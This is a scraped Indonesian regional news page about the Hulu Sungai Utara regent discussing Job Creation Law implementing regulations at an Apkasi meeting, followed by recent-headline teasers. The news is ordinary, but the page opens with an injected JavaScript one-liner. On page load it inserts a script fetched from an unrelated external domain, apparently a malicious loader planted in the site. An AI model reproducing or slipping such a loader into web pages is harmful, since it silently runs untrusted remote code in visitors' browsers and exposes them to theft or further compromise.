(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU: Pemda Penting Ikut Menyusun Peraturan Turunan UU Cipta Kerja


KANALKALIMANTAN.COM, JAKARTA – Pemerintah daerah (Pemda) berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait penyusunan 40 Rancangan Peraturan Pemerintah (RPP) dan 4 Rancangan Peraturan Presiden (Rperpres) sebagai turunan Undang- Undang Cipta Kerja.

Hal tersebut seperti dikemukakan Bupati HSU H Abdul Wahid saat menghadiri rapat kelompok kerja (Pokja) Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) di kantor Sekretariat Apkasi Gedung Sahid Sudirman Center, Jakarta, Kamis (26/11/2020)

Adapun kehadiran Bupati HDU didampingi Sekretaris Daerah HM Taufik, Kabag Pemerintahan dan Kabag Humpro HSU sehubungan dipilihnya Pemerintah Kabupaten HSU sebagai anggota pokja Apkasi terkait RPP dan Rpepres sebagai peraturan pelaksanaan UU Nomor 11 tahun 2020 tentang Cipta Kerja.

Lebih Lanjut, Bupati HSU H Abdul Wahid mengatakan bahwa saat ini pemerintah sedang menyusun 40 RPP dan 4 Rperpres sebagai turunan UU Nomor 11 tahun 2020 tentang Cipta Kerja.

 

Karena itu, sebagai wadah pemerintah kabupaten, Apkasi merasa berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait dalam penyusunan 40 RPP dan 4 Rperpres itu.

Hal tersebut juga tidak terlepas dari permintaan pemerintah kepada Apkasi agar segera memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.

“Hari ini kami menghadiri rapat pokja Apkasi yang beranggotan 11 kabupaten untuk membahas RPP dan Rperpres UU Cipta Kerja,” ujar Bupati Wahid.

Lebih jauh, Wahid menyebut pemerintah daerah sebagai ujung tombak pemerintan pusat sudah seharusnya diberikan kesempatan untuk memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.

Adapun diantara RPP yang dibahas dalam rapat tersebut seperti rancangan peraturan pemerintah tentang pajak daerah dan retribusi daerah dalam rangka mendukung kemudahan berusaha dan layanan daerah, RPP penyelenggaraan perizinan berusaha di daerah dan RPP penyelenggaraan penataan ruang. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie

 


Al Ghifari

Recent Posts

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

1 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

1 jam ago

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

17 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

21 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

1 hari ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

This website uses cookies.